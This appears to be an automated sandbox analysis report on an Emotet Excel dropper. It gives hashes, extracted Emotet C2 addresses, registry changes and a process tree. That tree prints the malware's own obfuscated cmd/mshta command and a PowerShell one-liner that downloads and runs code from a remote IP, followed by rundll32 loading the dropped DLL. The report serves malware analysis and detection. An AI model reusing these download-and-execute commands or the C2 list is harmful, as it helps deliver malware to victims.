emotet | a4317e98251905a3f14687b654568c7d8f77440f73cc1495ed28d0eb2d6f98e4

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-en-20211208
submitted
21-01-2022 09:43

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General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	532	732	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1228 mshta.exe
5 2032 powershell.exe
7 2032 powershell.exe
9 336 rundll32.exe
11 336 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1760 rundll32.exe
1760 rundll32.exe
1760 rundll32.exe
1760 rundll32.exe
2044 rundll32.exe
2044 rundll32.exe
2044 rundll32.exe
2044 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Thdittmzmpnyyr\zxdsbckhldwjdqg.sdg rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1228	mshta.exe
5	2032	powershell.exe
7	2032	powershell.exe
9	336	rundll32.exe
11	336	rundll32.exe

pid	process
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
1760	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Thdittmzmpnyyr\zxdsbckhldwjdqg.sdg	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

732 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

2032 powershell.exe
336 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2032 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

732 EXCEL.EXE
732 EXCEL.EXE
732 EXCEL.EXE

pid	process
732	EXCEL.EXE

pid	process
2032	powershell.exe
336	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	2032	powershell.exe

pid	process
732	EXCEL.EXE
732	EXCEL.EXE
732	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 732 wrote to memory of 532	732	EXCEL.EXE	cmd.exe
PID 732 wrote to memory of 532	732	EXCEL.EXE	cmd.exe
PID 732 wrote to memory of 532	732	EXCEL.EXE	cmd.exe
PID 732 wrote to memory of 532	732	EXCEL.EXE	cmd.exe
PID 532 wrote to memory of 1228	532	cmd.exe	mshta.exe
PID 532 wrote to memory of 1228	532	cmd.exe	mshta.exe
PID 532 wrote to memory of 1228	532	cmd.exe	mshta.exe
PID 532 wrote to memory of 1228	532	cmd.exe	mshta.exe
PID 1228 wrote to memory of 2032	1228	mshta.exe	powershell.exe
PID 1228 wrote to memory of 2032	1228	mshta.exe	powershell.exe
PID 1228 wrote to memory of 2032	1228	mshta.exe	powershell.exe
PID 1228 wrote to memory of 2032	1228	mshta.exe	powershell.exe
PID 2032 wrote to memory of 1888	2032	powershell.exe	cmd.exe
PID 2032 wrote to memory of 1888	2032	powershell.exe	cmd.exe
PID 2032 wrote to memory of 1888	2032	powershell.exe	cmd.exe
PID 2032 wrote to memory of 1888	2032	powershell.exe	cmd.exe
PID 1888 wrote to memory of 1760	1888	cmd.exe	rundll32.exe
PID 1888 wrote to memory of 1760	1888	cmd.exe	rundll32.exe
PID 1888 wrote to memory of 1760	1888	cmd.exe	rundll32.exe
PID 1888 wrote to memory of 1760	1888	cmd.exe	rundll32.exe
PID 1888 wrote to memory of 1760	1888	cmd.exe	rundll32.exe
PID 1888 wrote to memory of 1760	1888	cmd.exe	rundll32.exe
PID 1888 wrote to memory of 1760	1888	cmd.exe	rundll32.exe
PID 1760 wrote to memory of 2044	1760	rundll32.exe	rundll32.exe
PID 1760 wrote to memory of 2044	1760	rundll32.exe	rundll32.exe
PID 1760 wrote to memory of 2044	1760	rundll32.exe	rundll32.exe
PID 1760 wrote to memory of 2044	1760	rundll32.exe	rundll32.exe
PID 1760 wrote to memory of 2044	1760	rundll32.exe	rundll32.exe
PID 1760 wrote to memory of 2044	1760	rundll32.exe	rundll32.exe
PID 1760 wrote to memory of 2044	1760	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 992	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 992	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 992	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 992	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 992	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 992	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 992	2044	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 336	992	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 336	992	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 336	992	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 336	992	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 336	992	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 336	992	rundll32.exe	rundll32.exe
PID 992 wrote to memory of 336	992	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:732

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:532

C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe2.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1228

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1888

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1760

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Thdittmzmpnyyr\zxdsbckhldwjdqg.sdg",dSJpcOV
8⤵
- Suspicious use of WriteProcessMemory
PID:992

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Thdittmzmpnyyr\zxdsbckhldwjdqg.sdg",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
3724e1e37465977e55fb632d5701adeb

SHA1
36282eb74e8d791837dbbd3eb017075e492d113b

SHA256
529fea0f5978c114308fb4f3b9bf53270fee0be69b1999f1e6b688e542d55fe9

SHA512
55be5aaad1bd467dd9ee1c7cc25cd1fce8b63018a3a78fec1698844104aeae318d8d1ef5cf55616a5348756f69aa7f18a928724bc5c0cdd8aa7d97074c073bd8

Download Submit
\Users\Public\Documents\ssd.dll

MD5
3724e1e37465977e55fb632d5701adeb

SHA1
36282eb74e8d791837dbbd3eb017075e492d113b

SHA256
529fea0f5978c114308fb4f3b9bf53270fee0be69b1999f1e6b688e542d55fe9

SHA512
55be5aaad1bd467dd9ee1c7cc25cd1fce8b63018a3a78fec1698844104aeae318d8d1ef5cf55616a5348756f69aa7f18a928724bc5c0cdd8aa7d97074c073bd8

Download Submit
\Users\Public\Documents\ssd.dll

MD5
3724e1e37465977e55fb632d5701adeb

SHA1
36282eb74e8d791837dbbd3eb017075e492d113b

SHA256
529fea0f5978c114308fb4f3b9bf53270fee0be69b1999f1e6b688e542d55fe9

SHA512
55be5aaad1bd467dd9ee1c7cc25cd1fce8b63018a3a78fec1698844104aeae318d8d1ef5cf55616a5348756f69aa7f18a928724bc5c0cdd8aa7d97074c073bd8

Download Submit
\Users\Public\Documents\ssd.dll

MD5
3724e1e37465977e55fb632d5701adeb

SHA1
36282eb74e8d791837dbbd3eb017075e492d113b

SHA256
529fea0f5978c114308fb4f3b9bf53270fee0be69b1999f1e6b688e542d55fe9

SHA512
55be5aaad1bd467dd9ee1c7cc25cd1fce8b63018a3a78fec1698844104aeae318d8d1ef5cf55616a5348756f69aa7f18a928724bc5c0cdd8aa7d97074c073bd8

Download Submit
\Users\Public\Documents\ssd.dll

MD5
3724e1e37465977e55fb632d5701adeb

SHA1
36282eb74e8d791837dbbd3eb017075e492d113b

SHA256
529fea0f5978c114308fb4f3b9bf53270fee0be69b1999f1e6b688e542d55fe9

SHA512
